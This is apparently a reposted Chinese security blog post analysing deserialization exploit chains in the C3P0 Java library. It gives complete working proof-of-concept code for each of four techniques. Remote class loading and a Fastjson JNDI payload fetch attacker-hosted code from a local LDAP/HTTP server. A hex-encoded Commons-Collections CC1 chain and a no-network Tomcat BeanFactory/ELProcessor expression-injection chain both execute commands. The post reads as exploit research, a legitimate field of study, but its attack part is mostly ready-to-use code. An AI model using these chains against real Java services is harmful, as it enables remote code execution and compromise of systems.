前言
C3P0存在原生反序列化三种利用方式、拓展利用点
1.Java 原生态反序列化利用链 – 加载远程类
2.Json 反序列化利用链 – JNDI
3.Json 反序列化利用链 – HEX序列化字节加载器
4.拓展:Java 原生态反序列化利用链 – 不出网利用
环境
maven导入,0.9.5.5为最新版本(2019)
<dependencies>
<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.9.5.5</version>
</dependency>
</dependencies>
加载远程类
利用点在
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase.java 类中的 writeObject 与 readObject
一、先看 **PoolBackedDataSourceBase#writeObject()**,首先有一个 try/catch
尝试去序列化 connectionPoolDataSource
而 connectionPoolDataSource 的类型不是可序列化的
所以进入到catch中,实例化一个 ReferenceIndirector 类型对象,然后调用 indirectForm(),传入的参数为 connectionPoolDataSource
跟进 ReferenceIndirector#indirectForm()
通过 getReference() 赋值给 Reference 类型的变量 ref,然后通过 ReferenceSerialized 类的构造方法 然后赋值给 reference 变量。
只要实现一个类实现了 Referenceable 接口
和 ConnectionPoolDataSource 接口,然后重写 getReference() 里去实例化一个 Reference 对象即可满足上面的条件。所以可控 ref 的值
Reference的构造方法:
可控 classFactory 和 classFactoryLocation 下面构造payload有用
二、再看 PoolBackedDataSourceBase#readObject() 调用 ReferenceSerialized#getObject()
contextName不可控,跳过if,然后调用了 ReferenceableUtils#referenceToObject() 而且第一个参数我们可控
跟进调用,利用远程类加载器(URLClassLoader),通过 getter 方法去加载可控类名(fClassName),最后Class.forName()第二个参数为true,即表示初始化类时加载static代码块
poc,远程开一个服务
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
public class Test {
public static void main(String[] args) throws Exception {
PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);
poc POC = new poc("calc", "http://127.0.0.1:6666/");
setFieldValue(poolBackedDataSourceBase,"connectionPoolDataSource",POC);
//serialize(poolBackedDataSourceBase);
unserialize();
}
public static class poc implements ConnectionPoolDataSource, Referenceable{
public String classFactory;
public String classFactoryLocation;
public poc(String classFactory,String classFactoryLocation){
this.classFactory = classFactory;
this.classFactoryLocation = classFactoryLocation;
}
public Reference getReference() throws NamingException {
return new Reference("Y0ng",this.classFactory,this.classFactoryLocation);
}
public PooledConnection getPooledConnection() throws SQLException {
return null;
}
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}
public PrintWriter getLogWriter() throws SQLException {
return null;
}
public void setLogWriter(PrintWriter out) throws SQLException {
}
public void setLoginTimeout(int seconds) throws SQLException {
}
public int getLoginTimeout() throws SQLException {
return 0;
}
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
}
public static void serialize(Object obj) throws Exception {
FileOutputStream file = new FileOutputStream("ser.bin");
ObjectOutputStream oos = new ObjectOutputStream(file);
oos.writeObject(obj);
oos.close();
}
public static void unserialize() throws Exception{
FileInputStream file = new FileInputStream("ser.bin");
ObjectInputStream ois = new ObjectInputStream(file);
Object o = ois.readObject();
//return o;
}
public static void setFieldValue(Object object, String fieldName, Object value) throws Exception{
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
}
}
JNDI
这里以尝试挖掘的思路跟一下,ctrl+shift+F全局搜索一下lookup关键字,C3P0中也就10个结果,以 JndiRefForwardingDataSource
可以看到,都是在 dereference() 被调用,参数 jndiName 通过 getter 方法获取
那么先看一下 setter 方法,JndiRefDataSourceBase#setJndiName() ,这里关于 PropertyChangeEvent监听javabean的变化 设置了jndiName的值
那么再看一下 dereference() ,ALT+F7 查找调用处,inner() 进行调用
发现 inner() 都是通过 setter和getter进行调用
综上,切合 fastjson 利用条件
poc:起一个marshalsec的 ldap
{"@type":"com.mchange.v2.c3p0.JndiRefForwardingDataSource","jndiName":"ldap://127.0.0.1:1389/calc"}
或
{"@type":"com.mchange.v2.c3p0.JndiRefForwardingDataSource","jndiName":"ldap://127.0.0.1:1389/calc", "loginTimeout":0}
另外,发现 C3P0PooledDataSource 也存在相同的利用点,但是 rebind()方法中parse一直出错
HEX序列化字节加载器
更多的是利用 fastjson,Snake YAML , JYAML,Yamlbeans , Jackson,Blazeds,Red5, Castor 来打二次反序列化
在 WrapperConnectionPoolDataSourceBase#setUserOverridesAsString() 中设置 userOverridesAsString 的值后,当调用set方法 setUpPropertyListeners 时就能触发,而这个监听器正好在设置完userOverridesAsString就会调用
**WrapperConnectionPoolDataSource#setUpPropertyListeners()**,中调用了 parseUserOverridesAsString
parseUserOverridesAsString,截取字符串,HASM_HEADER 为定值 HexAsciiSerializedMap,所以构造的payload需要符合这样形式
"HexAsciiSerializedMap:"+HexString+":"
然后将hex转为byte调用 SerializableUtils#fromByteArray()
然后就是调用原生反序列化,搭配其他的Gadget,比如CC、CB,在框架中还能注入内存马
poc,以CC1为例
{"e":{"@type":"java.lang.Class","val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"},"f":{"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource","userOverridesAsString":"HexAsciiSerializedMap:hex编码内容;"}}
import com.alibaba.fastjson.JSON;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class Test {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "bbb");
Map<Object, Object> transformMap = TransformedMap.decorate(map, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = c.getDeclaredConstructor(Class.class, Map.class);
cons.setAccessible(true);
Object o = cons.newInstance(Retention.class, transformMap);
serialize(o);
byte[] bytes = Files.readAllBytes(Paths.get("ser.bin"));
String hex = bytesToHexString(bytes,bytes.length);
String poc = "{"e":{"@type":"java.lang.Class","val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"},"f":{"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource","userOverridesAsString":"HexAsciiSerializedMap:"+hex+";"}}";
JSON.parseObject(poc);
}
public static void serialize(Object obj) throws Exception {
FileOutputStream file = new FileOutputStream("ser.bin");
ObjectOutputStream oos = new ObjectOutputStream(file);
oos.writeObject(obj);
oos.close();
}
public static void unserialize() throws Exception{
FileInputStream file = new FileInputStream("ser.bin");
ObjectInputStream ois = new ObjectInputStream(file);
Object o = ois.readObject();
}
public static String bytesToHexString(byte[] bArray, int length) {
StringBuffer sb = new StringBuffer(length);
for(int i = 0; i < length; ++i) {
String sTemp = Integer.toHexString(255 & bArray[i]);
if (sTemp.length() < 2) {
sb.append(0);
}
sb.append(sTemp.toUpperCase());
}
return sb.toString();
}
}
不出网利用
环境:反序列化点
先回顾一下 getObject()中,其实如果通过这三种方法去修改contextName的值,就可以直接 JNDI 的利用,在一道CTF题目中,有提到这点实现 ljctr wp ,但是比较麻烦,所以略过。
-
修改C3P0源代码 比较简单
-
通过agent技术去修改源代码
-
像jre8u20 gadgets一样去操作反序列化的字节码(有点麻烦 理论上肯定可以)
跟到 referenceToObject() 中,加载远程类是通过getFactoryClassLocation获取到URLClassloader,通过Class.forName进行远程触发,如果获取为null,就会获取当前线程的ClassLoader,然后实例化一个对象,最后在return的时候调用这个对象的 getObjectInstance()**,在高版本JDK中的一种绕过方法,利用Tomcat的getObjectInstance方法调用ELProcessor的eval方法实现表达式注入**
org.apache.naming.factory.BeanFactory在getObjectInstance()中会通过反射的方式实例化Reference所指向的任意Bean Class,并且会调用setter方法为所有的属性赋值。
而该Bean Class的类名、属性、属性值,全都来自于Reference对象,均是攻击者可控的
poc
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import org.apache.naming.ResourceRef;
import javax.naming.*;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
public class Test {
public static void main(String[] args) throws Exception {
PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);
poc POC = new poc("org.apache.naming.factory.BeanFactory", null);
setFieldValue(poolBackedDataSourceBase,"connectionPoolDataSource",POC);
serialize(poolBackedDataSourceBase);
unserialize();
}
public static class poc implements ConnectionPoolDataSource, Referenceable{
public String classFactory;
public String classFactoryLocation;
public poc(String classFactory,String classFactoryLocation){
this.classFactory = classFactory;
this.classFactoryLocation = classFactoryLocation;
}
public Reference getReference() throws NamingException {
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=eval"));
String cmd = "calc";
ref.add(new StringRefAddr("x", """.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','"+ cmd +"']).start()")"));
return ref;
}
public PooledConnection getPooledConnection() throws SQLException {
return null;
}
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}
public PrintWriter getLogWriter() throws SQLException {
return null;
}
public void setLogWriter(PrintWriter out) throws SQLException {
}
public void setLoginTimeout(int seconds) throws SQLException {
}
public int getLoginTimeout() throws SQLException {
return 0;
}
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
}
public static void serialize(Object obj) throws Exception {
FileOutputStream file = new FileOutputStream("ser.bin");
ObjectOutputStream oos = new ObjectOutputStream(file);
oos.writeObject(obj);
oos.close();
}
public static void unserialize() throws Exception{
FileInputStream file = new FileInputStream("ser.bin");
ObjectInputStream ois = new ObjectInputStream(file);
Object o = ois.readObject();
//return o;
}
public static void setFieldValue(Object object, String fieldName, Object value) throws Exception{
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
}
}
参考
Java安全之C3P0利用与分析-Zh1z3ven
C3P0反序列化链学习
JAVA反序列化之C3P0不出网利用 | 雨了个雨’s blog
原文始发于微信公众号(Arr3stY0u):C3P0利用分析